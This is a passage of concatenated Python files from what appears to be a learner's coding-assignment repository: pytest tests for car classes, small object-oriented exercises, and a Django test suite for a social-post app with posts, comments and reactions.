# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(exception.value) == 'Invalid value for max_cargo_weight'
<file_sep>/BackEnd-Assignment-01/rectangle.py
class Rectangle:
def __init__(self, length, breadth):
self.length = length
self.breadth = breadth
def calculate_area(self):
self.area_of_rectangle = (self.length * self.breadth)
return ('{}'.format(self.area_of_rectangle))
def calculate_perimeter(self):
self.perimeter_of_rectangle = (2 * (self.length + self.breadth))
return ('{}'.format(self.perimeter_of_rectangle))
if __name__ == "__main__":
rectangle_one = Rectangle(5, 5)
print("area of rectangle is ", rectangle_one.calculate_area())
print("perimeter of rectangle is ", rectangle_one.calculate_perimeter()) <file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_apply_breaks.py
import pytest
from race_car import RaceCar
def test_apply_brakes_when_race_car_object_is_in_motion_returns_current_speed(race_car):
# Arrange
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
current_speed = 70
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed
@pytest.mark.parametrize(
"""color_value, max_speed_value, acceleration_value, tyre_friction_value,
current_speed_value""", [
('Red', 200, 50, 20, 30), ('Blue', 150, 25, 25, 0)])
def test_apply_breaks_when_race_car_object_current_speed_is_more_than_or_equal_to_race_car_object_tyre_friction_returns_current_speed(color_value, max_speed_value, acceleration_value, tyre_friction_value, current_speed_value):
# Arrange
race_car = RaceCar(color=color_value, max_speed=max_speed_value,
acceleration=acceleration_value,
tyre_friction=tyre_friction_value)
race_car.start_engine()
race_car.accelerate()
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed_value
def test_apply_breaks_when_race_car_object_current_speed_is_less_than_race_car_object_tyre_friction_returns_zero():
# Arrange
race_car = RaceCar(color='Red', max_speed=200, acceleration=40,
tyre_friction=15)
race_car.start_engine()
race_car.accelerate()
current_speed_when_less_than_tyre_friction = 0
# Act
race_car.apply_brakes()
race_car.apply_brakes()
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_race_car_object_current_speed_is_equal_to_race_car_object_tyre_friction_returns_current_speed():
# Arrange
race_car = RaceCar(color='Red', max_speed=200, acceleration=40,
tyre_friction=10)
race_car.start_engine()
race_car.accelerate()
current_speed = 10
# Act
race_car.apply_brakes()
race_car.apply_brakes()
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_post.py
from django.db.models import Prefetch
from fb_post.models import Post, Comment
from .fb_post_details_of_post import get_post_details_in_dictionary
from .fb_post_exception_methods import check_whether_post_id_exists
# Task 13
def get_post(post_id):
check_whether_post_id_exists(post_id)
comment_objects = Comment.objects.select_related('commented_by')
comment_prefetch = Prefetch('comments', queryset=comment_objects)
post = (Post.objects
.filter(id=post_id)
.select_related('posted_by')
.prefetch_related(comment_prefetch,
'reactions',
'comments__reactions')
.get(id=post_id))
post_dict = get_post_details_in_dictionary(post)
return post_dict
<file_sep>/bitcoin_tracker/historical_data/admin.py
from django.contrib import admin
from .models import *
# Register your models here.
admin.site.register(Person, PersonAdmin)
admin.site.register(Blog, BlogAdmin)
admin.site.empty_value_display = '(None)'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_encapsulation.py
import pytest
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_car_object_color(car):
# Act
with pytest.raises(Exception) as exception:
car.color = 'Black'
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_car_object_acceleration(car):
# Act
with pytest.raises(Exception) as exception:
car.acceleration = 20
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_car_object_max_speed(car):
# Act
with pytest.raises(Exception) as exception:
car.max_speed = 400
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_car_object_tyre_friction(car):
# Act
with pytest.raises(Exception) as exception:
car.tyre_friction = 40
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_car_object_is_engine_started(car):
# Act
with pytest.raises(Exception) as exception:
car.is_engine_started = True
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_car_object_current_speed(car):
# Act
with pytest.raises(Exception) as exception:
car.current_speed = 300
# Assert
assert str(exception.value) == "can't set attribute"
<file_sep>/backend-PY/robo-main.py
class Employee:
bonous = 10000
no_of_employees = 0
raise_amount = 1.04
def __init__(self,first_name, last_name, salary):
self.first_name = first_name
self.last_name = last_name
self.salary = salary
self.email = first_name + '.' + last_name + '@gmail.com'
Employee.no_of_employees +=1
def fullname(self):
return '{} {}'.format(self.first_name,self.last_name)
def apply_bonous(self):
self.bonous = int(self.bonous + self.salary)
def apply_raise(self):
self.salary = int(self.salary * self.raise_amount)
# @classmethod
# def from_string(cls, emp_str):
# first_name, last_name, salary = emp_str.split(' ')
# return cls(first_name, last_name, salary)
class Developer(Employee):
raise_amount = 1.10
def __init__(self, first_name, last_name, salary, prog_lang):
super().__init__(first_name, last_name, salary)
self.prog_lang = prog_lang
emp1 = Developer('vinay', 'kumar', 50000, 'Python')
emp2 = Developer('vvv', 'kkkk', 60000, 'HTML')
print(emp1.email)
print(emp2.email)<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_invalid_type.py
import pytest
from race_car import RaceCar
## Testing Exceptions of Atrribute values if not Positive type and Non-Zero ##
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(-1, 10, 3), (0, 30, 10), ('1', 30, 20)])
def test_race_car_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(210, '10', 3), (100, 0, 10), (180, -30, 20)])
def test_race_car_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(210, 30, '10'), (100, 20, -1), (180, 40, 0)])
def test_race_car_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for tyre_friction'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests.py
import datetime
from django.test import TestCase
import pytest
from freezegun import freeze_time
from fb_post.constants import ReactionType
from fb_post.utils import *
from .exceptions import *
from .models import User, Post, Comment, Reaction
# Create your tests here.
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
user_list = [{'name':'user1', 'profile_pic':'user1_pic'},
{'name':'user2', 'profile_pic':'user2_pic'},
{'name':'user3', 'profile_pic':'user3_pic'},
{'name':'user4', 'profile_pic':'user4_pic'},
{'name':'user5', 'profile_pic':'user5_pic'}
]
User.objects.bulk_create([User(name=user_dict['name'],
profile_pic=user_dict['profile_pic']
) for user_dict in user_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def post(user):
post_list = [{'content':'post1','posted_by_id':1},
{'content':'post2', 'posted_by_id':1},
{'content':'post3', 'posted_by_id':2},
{'content':'post4', 'posted_by_id':3},
{'content':'post5', 'posted_by_id':4}
]
Post.objects.bulk_create([Post(content=post_dict['content'],
posted_by_id=post_dict['posted_by_id']
) for post_dict in post_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def comment(post):
comment_list = [{'content':'comment1', 'post_id':1, 'commented_by_id':1},
{'content':'comment2', 'post_id':2, 'commented_by_id':1},
{'content':'comment1', 'post_id':1, 'commented_by_id':2},
{'content':'comment2', 'post_id':1, 'commented_by_id':3},
{'content':'comment3', 'post_id':2, 'commented_by_id':3},
{'content':'comment4', 'post_id':3, 'commented_by_id':4},
]
Comment.objects.bulk_create([Comment(content=comment_dict['content'],
post_id=comment_dict['post_id'],
commented_by_id=comment_dict['commented_by_id']
) for comment_dict in comment_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reaction(post):
reaction_list = [
{'post_id':1, 'reaction':ReactionType.WOW.value, 'reacted_by_id':2},
{'post_id':1, 'reaction':ReactionType.LIT.value, 'reacted_by_id':3},
{'post_id':2, 'reaction':ReactionType.SAD.value, 'reacted_by_id':4},
{'post_id':3, 'reaction':ReactionType.LIT.value, 'reacted_by_id' :5},
{'post_id':3, 'reaction':ReactionType.LIT.value, 'reacted_by_id':2}
]
Reaction.objects.bulk_create([Reaction(post_id=reaction_dict['post_id'],
reacted_by_id=reaction_dict['reacted_by_id'],
reaction=reaction_dict['reaction']
) for reaction_dict in reaction_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reaction_to_comments(comment):
reaction_list = [
{'comment_id':1, 'reaction':ReactionType.LIT.value, 'reacted_by_id':2},
{'comment_id':1, 'reaction':ReactionType.THUMBS_DOWN.value,
'reacted_by_id':3},
{'comment_id':2, 'reaction':ReactionType.SAD.value,
'reacted_by_id':4},
{'comment_id':3, 'reaction': ReactionType.ANGRY.value,
'reacted_by_id':5},
{'comment_id':1, 'reaction': ReactionType.THUMBS_DOWN.value,
'reacted_by_id':4},
{'comment_id':4,'reaction': ReactionType.THUMBS_UP.value,
'reacted_by_id':1}
]
Reaction.objects.bulk_create([Reaction(comment_id=reaction_dict['comment_id'],
reacted_by_id=reaction_dict['reacted_by_id'],
reaction=reaction_dict['reaction']
) for reaction_dict in reaction_list])
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reply(comment):
reply_list = [
{'content':'reply_to_comment1 by 2', 'post_id':1, 'comment_id':1,
'commented_by_id':2},
{'content':'reply_to_comment2 by 3', 'post_id':2, 'comment_id':2,
'commented_by_id':3},
{'content':'reply_to_comment1 by 3', 'post_id':3, 'comment_id':6,
'commented_by_id':4},
{'content':'reply_to_comment4 by 1', 'post_id':1, 'comment_id':4,
'commented_by_id':1},
]
Comment.objects.bulk_create([Comment(content=comment_dict['content'],
post_id=comment_dict['post_id'],
parent_comment_id=comment_dict['comment_id'],
commented_by_id=comment_dict['commented_by_id']
) for comment_dict in reply_list])
" Task 02 "
def test_create_post_when_user_is_invalid_raises_invalid_user_exception(user):
# Arrange
invalid_user_id = 100
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException):
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_invalid_raises_invalid_post_content_exception(user):
# Arrange
valid_user_id = 1
post_content = ''
# Act
with pytest.raises(InvalidPostContent):
assert create_post(valid_user_id, post_content)
@freeze_time("2009-01-14")
def test_create_post_when_valid_user_id_and_post_content_are_given_creates_post_object_and_returns_post_id(post):
# Arrange
user_id = 1
post_content = 'post1'
commented_at = datetime.datetime.now()
# Act
post_id = create_post(user_id, post_content)
# Assert
post_object = Post.objects.get(id=post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == post_content
assert post_object.posted_at.replace(tzinfo=None) == commented_at
" Task 03 "
def test_create_comment_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
invalid_user_id = 100
post_id = 1
comment_content = 'comment1'
# Act
with pytest.raises(InvalidUserException):
assert create_comment(invalid_user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_invalid_raises_invalid_post_exception(post):
# Arrange
user_id = 1
invalid_post_id = 100
comment_content = 'comment1'
# Act
with pytest.raises(InvalidPostException):
assert create_comment(user_id, invalid_post_id, comment_content)
def test_create_comment_when_comment_content_is_invalid_raises_invalid_comment_content_exception(post):
# Arrange
user_id = 1
post_id = 1
invalid_comment_content = ''
# Act
with pytest.raises(InvalidCommentContent):
assert create_comment(user_id, post_id, invalid_comment_content)
@freeze_time("2010-01-14")
def test_create_comment_when_valid_user_id_and_comment_content_are_given_creates_comment_object_and_returns_comment_id(post):
# Arrange
user_id = 1
post_id = 1
comment_content = 'comment1'
commented_at = datetime.datetime.now()
# Act
create_comment(user_id, post_id, comment_content)
# Assert
comment_object = Comment.objects.get(commented_by_id=user_id,
post_id=post_id)
assert comment_object.commented_by_id == user_id
assert comment_object.post_id == post_id
assert comment_object.content == comment_content
assert comment_object.commented_at.replace(tzinfo=None) == commented_at
" Task 04 "
def test_reply_to_comment_when_user_id_is_invalid_raises_invalid_user_exception(comment):
# Arrange
invalid_user_id = 100
comment_id = 1
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidUserException):
assert reply_to_comment(invalid_user_id, comment_id, reply_content)
def test_reply_to_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(reply):
# Arrange
user_id = 1
invalid_comment_id = 100
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidCommentException):
assert reply_to_comment(user_id, invalid_comment_id, reply_content)
def test_reply_to_comment_when_reply_content_is_invalid_raises_invalid_reply_content_exception(reply):
# Arrange
user_id = 1
comment_id = Comment.objects.filter(conten ='comment1')[0].id
invalid_reply_content = ''
# Act
with pytest.raises(InvalidReplyContent):
assert reply_to_comment(user_id, comment_id, invalid_reply_content)
@freeze_time("2009-01-16")
def test_reply_to_comment_if_comment_id_corresponds_to_reply_create_comment_object_returns_created_comment_object_id(reply):
# Arrange
user_id = 1
comment_id = 7
parent_comment_id = 1
reply_content = 'reply to comment1'
commented_at = datetime.datetime.now()
# Act
new_comment_id = reply_to_comment(user_id, comment_id, reply_content)
# Assert
comment_object = Comment.objects.get(id=new_comment_id)
assert comment_object.commented_by_id == user_id
assert comment_object.content == reply_content
assert comment_object.parent_comment_id == parent_comment_id
assert comment_object.commented_at.replace(tzinfo=None) == commented_at
" Task 05 "
def test_react_to_post_when_user_id_is_invalid_raises_invalid_user_exception(reaction):
# Arrange
invalid_user_id = 100
post_id = 3
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidUserException):
assert react_to_post(invalid_user_id, post_id, reaction_type)
def test_react_to_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
user_id = 1
invalid_post_id = 100
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidPostException):
assert react_to_post(user_id, invalid_post_id, reaction_type)
def test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(reaction):
# Arrange
user_id = 1
post_id = 4
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException):
assert react_to_post(user_id, post_id, invalid_reaction_type)
def test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(reaction):
# Arrange
user_id = 1
post_id = 3
reaction_type = ReactionType.HAHA.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
assert Reaction.objects.filter(post_id=post_id).exists()
assert Reaction.objects.filter(post_id=post_id,
reacted_by_id=user_id).exists()
assert Reaction.objects.filter(reaction=reaction_type).exists()
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(reaction):
# Arrange
user_id = 2
post_id = 1
reaction_type = ReactionType.WOW.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
with pytest.raises(Reaction.DoesNotExist):
assert Reaction.objects.get(post_id=post_id, reacted_by_id=user_id,
reaction=reaction_type)
def test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(reaction):
# Arrange
user_id = 2
post_id = 1
old_reaction_type = ReactionType.WOW.value
reaction_type = ReactionType.LIT.value
# Act
react_to_post(user_id, post_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.get(post_id=post_id,
reacted_by_id=user_id,
reaction=reaction_type)
assert post_id == new_reaction_object.post_id
assert user_id == new_reaction_object.reacted_by_id
assert not old_reaction_type == new_reaction_object.reaction
assert new_reaction_object.reaction == reaction_type
" Task 06 "
def test_react_to_comment_when_user_id_is_invalid_raises_invalid_user_exception(comment):
# Arrange
invalid_user_id = 100
comment_id = 3
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidUserException):
assert react_to_comment(invalid_user_id, comment_id, reaction_type)
def test_react_to_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(comment):
# Arrange
user_id = 1
invalid_comment_id = 100
reaction_type = ReactionType.HAHA.value
# Act
with pytest.raises(InvalidCommentException):
assert react_to_comment(user_id, invalid_comment_id, reaction_type)
def test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception(comment):
# Arrange
user_id = 1
comment_id = 1
invalid_reaction_type = 'reaction1'
# Act
with pytest.raises(InvalidReactionTypeException):
assert react_to_comment(user_id, comment_id, invalid_reaction_type)
def test_react_to_comment_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object(comment,reaction):
# Arrange
user_id = 1
comment_id = 5
reaction_type = ReactionType.HAHA.value
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
assert Reaction.objects.filter(comment_id=comment_id).exists()
assert Reaction.objects.filter(comment_id=comment_id,
reacted_by_id=user_id).exists()
assert Reaction.objects.filter(reaction=reaction_type).exists()
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user(reaction_to_comments):
# Arrange
user_id = 2
comment_id = 1
reaction_type = ReactionType.LIT.value
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
with pytest.raises(Reaction.DoesNotExist):
assert Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=reaction_type)
def test_react_to_comment_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time(reaction_to_comments):
# Arrange
user_id = 2
comment_id = 1
old_reaction_type = ReactionType.LIT.value
reaction_type = ReactionType.SAD.value
old_reaction_object = Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=old_reaction_type)
# Act
react_to_comment(user_id, comment_id, reaction_type)
# Asset
new_reaction_object = Reaction.objects.get(comment_id=comment_id,
reacted_by_id=user_id,
reaction=reaction_type)
assert old_reaction_object.comment_id == new_reaction_object.comment_id
assert old_reaction_object.reacted_by_id == new_reaction_object.reacted_by_id
assert not old_reaction_object.reaction == new_reaction_object.reaction
assert new_reaction_object.reaction == reaction_type
" Task 07 "
def test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary(reaction,reaction_to_comments):
# Arrange
total_reaction_count_dict = {'count': 11}
# Act
reaction_count_dict = get_total_reaction_count()
# Assert
assert total_reaction_count_dict == reaction_count_dict
def test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary():
# Arrange
total_reaction_count_dict = {'count': 0}
# Act
reaction_count_dict = get_total_reaction_count()
# Assert
assert total_reaction_count_dict == reaction_count_dict
" Task 08"
def test_get_reaction_metrics_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_reaction_metrics(invalid_post_id)
def test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary(reaction):
# Arrange
post_id = 1
reaction_metrics_dict = {ReactionType.WOW.value:1,
ReactionType.LIT.value:1}
# Act
each_reaction_type_metrics_dict = get_reaction_metrics(post_id)
# Assert
assert reaction_metrics_dict == each_reaction_type_metrics_dict
def test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary(reaction):
# Arrange
post_id = 5
reaction_metrics_dict = {}
# Act
each_reaction_type_metrics_dict = get_reaction_metrics(post_id)
# Assert
assert reaction_metrics_dict == each_reaction_type_metrics_dict
" Task 09"
def test_delete_post_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
user_id = 100
post_id = 2
# Act
with pytest.raises(InvalidUserException):
assert delete_post(user_id, post_id)
def test_delete_post_when_post_id_is_invalid_raises_invalid_post_exception(post):
# Arrange
user_id = 1
post_id = 200
# Act
with pytest.raises(InvalidPostException):
assert delete_post(user_id, post_id)
@pytest.mark.parametrize('user_id, post_id', [(5, 1), (1, 5)])
def test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception(user_id,post_id,post):
# Act
with pytest.raises(UserCannotDeletePostException):
assert delete_post(user_id, post_id)
def test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object(post):
# Arrange
user_id = 1
post_id = 1
# Act
delete_post(user_id, post_id)
# Assert
post_object = Post.objects.filter(id=post_id, posted_by_id=user_id)
assert post_object.exists() is False
" Task 10 "
def test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list(reaction):
# Arrange
post_ids_list = [1, 3]
# Act
list_of_post_ids = get_posts_with_more_positive_reactions()
# Assert
assert post_ids_list == list_of_post_ids
def test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list():
# Arrange
post_ids_list = []
# Act
list_of_post_ids = get_posts_with_more_positive_reactions()
# Assert
assert post_ids_list == list_of_post_ids
" Task 11 "
def test_get_posts_reacted_by_user_when_user_id_is_invalid_raises_invalid_user_exception(reaction):
# Arrange
user_id = 100
# Act
with pytest.raises(InvalidUserException):
assert get_posts_reacted_by_user(user_id)
def test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list(reaction):
# Arrange
user_id = 2
post_ids_list = [1, 3]
# Act
list_of_post_ids = get_posts_reacted_by_user(user_id)
# Assert
assert post_ids_list == list_of_post_ids
def test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list(reaction):
# Arrange
user_id = 1
post_ids_list = []
# Act
list_of_post_ids = get_posts_reacted_by_user(user_id)
# Assert
assert post_ids_list == list_of_post_ids
" Task 12 "
def test_get_reactions_to_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_reactions_to_post(invalid_post_id)
def test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post(reaction):
# Arrange
post_id = 1
list_of_dictionaries_of_user_details_of_post = [
{"user_id": 2, "name": "user2", "profile_pic": "user2_pic",
"reaction": "WOW"},
{"user_id": 3, "name": "user3", "profile_pic": "user3_pic",
"reaction": "LIT"}
]
# Act
list_of_user_and_reactions_dict = get_reactions_to_post(post_id)
# Asset
assert list_of_dictionaries_of_user_details_of_post == list_of_user_and_reactions_dict
def test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list(reaction):
# Arrange
post_id = 5
list_of_user_details_of_post = []
# Act
list_of_user_and_reactions_dict = get_reactions_to_post(post_id)
# Asset
assert list_of_user_details_of_post == list_of_user_and_reactions_dict
" Task 15 "
def test_get_replies_for_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(reply):
# Arrange
comment_id = 100
# Act
with pytest.raises(InvalidCommentException):
assert get_replies_for_comment(comment_id)
def test_get_replies_for_comment_with_valid_comment_id_returns_list_of_dictionaries_of_comment_details_with_commenter_details(reply):
# Arrange
comment_id = 1
list_of_dict_of_comment_details = [
{
'comment_id': 7,
'commenter': {'user_id': 2, 'name': 'user2',
'profile_pic': 'user2_pic'},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment1 by 2'}]
# Act
get_list_of_comment_details_dict = get_replies_for_comment(comment_id)
# Assert
assert list_of_dict_of_comment_details == get_list_of_comment_details_dict
def test_get_replies_for_comment_with_valid_comment_id_having_no_replies_returns_empty_list(reply):
# Arrange
comment_id = 7
list_of_dict_of_comment_details = []
# Act
get_list_of_comment_details_dict = get_replies_for_comment(comment_id)
# Assert
assert list_of_dict_of_comment_details == get_list_of_comment_details_dict
" Task 13 "
def test_get_post_when_post_id_is_invalid_raises_invalid_post_exception(reaction, reply, reaction_to_comments):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_post(invalid_post_id)
def test_get_post_when_post_having_comments_reaction_to_comments_and_post_reactions_returns_post_details_and_posts_commentes_and_reactions_returns_dictionary(reaction, reply, reaction_to_comments):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'name': 'user1',
'user_id': 1,
'profile_pic': 'user1_pic'},
'posted_at': "2012-09-10 00:00:00.000000",
'post_content': 'post1',
'reactions': {
'count': 2,
'type': [ReactionType.WOW.value, ReactionType.LIT.value]},
'comments': [
{'comment_id': 1,
'commenter': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment1',
'reactions': {
'count': 3,
'type': [ReactionType.LIT.value,
ReactionType.THUMBS_DOWN.value]
},
'replies_count': 1,
'replies': [
{'comment_id': 7,
'commenter':{
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment1 by 2',
'reactions': {
'count': 0,
'type': []
}
}
]
},
{'comment_id': 3,
'commenter': {
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment1',
'reactions': {
'count': 1,
'type': [ReactionType.ANGRY.value]
},
'replies_count': 0,
'replies': []
},
{'comment_id': 4,
'commenter': {
'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'comment2',
'reactions': {
'count': 1,
'type': [ReactionType.THUMBS_UP.value]
},
'replies_count': 1,
'replies': [
{'comment_id': 10,
'commenter': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment4 by 1',
'reactions': {
'count': 0,
'type': []
}
}
]
}
],
'comments_count': 3
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_post_having_no_comments_and_reactions_returns_post_details_and_post_user_details_returns_dictionary(post):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 0, 'type': []},
'comments': [],
'comments_count': 0,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_there_are_no_commentes_for_posts_returns_empty_list_with_post_details_in_dictionary(reaction):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 2, 'type': [ReactionType.WOW.value,
ReactionType.LIT.value]},
'comments': [],
'comments_count': 0,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
def test_get_post_when_there_are_no_reactions_for_posts_returns_dictionary_with_count_value_zero_and_type_with_empty_list_and_post_details_in_dictionary(comment):
# Arrange
post_id = 1
post_dict = {
'post_id': 1,
'posted_by': {
'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'
},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 0,
'type': []},
'comments':[ {
'comment_id': 1,
'commenter': {'name': 'user1',
'profile_pic': 'user1_pic',
'user_id': 1},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0},
{
'comment_id': 3,
'commenter': {
'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic',
},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0},
{'comment_content': 'comment2',
'comment_id': 4,
'commented_at': '2012-09-10 00:00:00.000000',
'commenter': {
'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic',
},
'reactions': {'count': 0,
'type': []},
'replies': [],
'replies_count': 0}],
'comments_count': 3,
}
# Act
dict_of_post_details = get_post(post_id)
# Assert
assert post_dict == dict_of_post_details
" Task 14 "
def test_get_user_posts_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
invalid_user_id = 100
# Act
with pytest.raises(InvalidUserException) :
assert get_user_posts(invalid_user_id)
def test_get_user_posts_when_user_has_posts_returns_list_of_dictionaries_of_post_details_of_user(reaction, reaction_to_comments):
# Arrange
user_id = 1
user_posts_list_excpected = [
{'post_id': 1,
'posted_by': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 2,
'type': [ReactionType.WOW.value,
ReactionType.LIT.value]},
'comments': [
{
'comment_id': 1,
'commenter': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 3,
'type': [ReactionType.LIT.value,
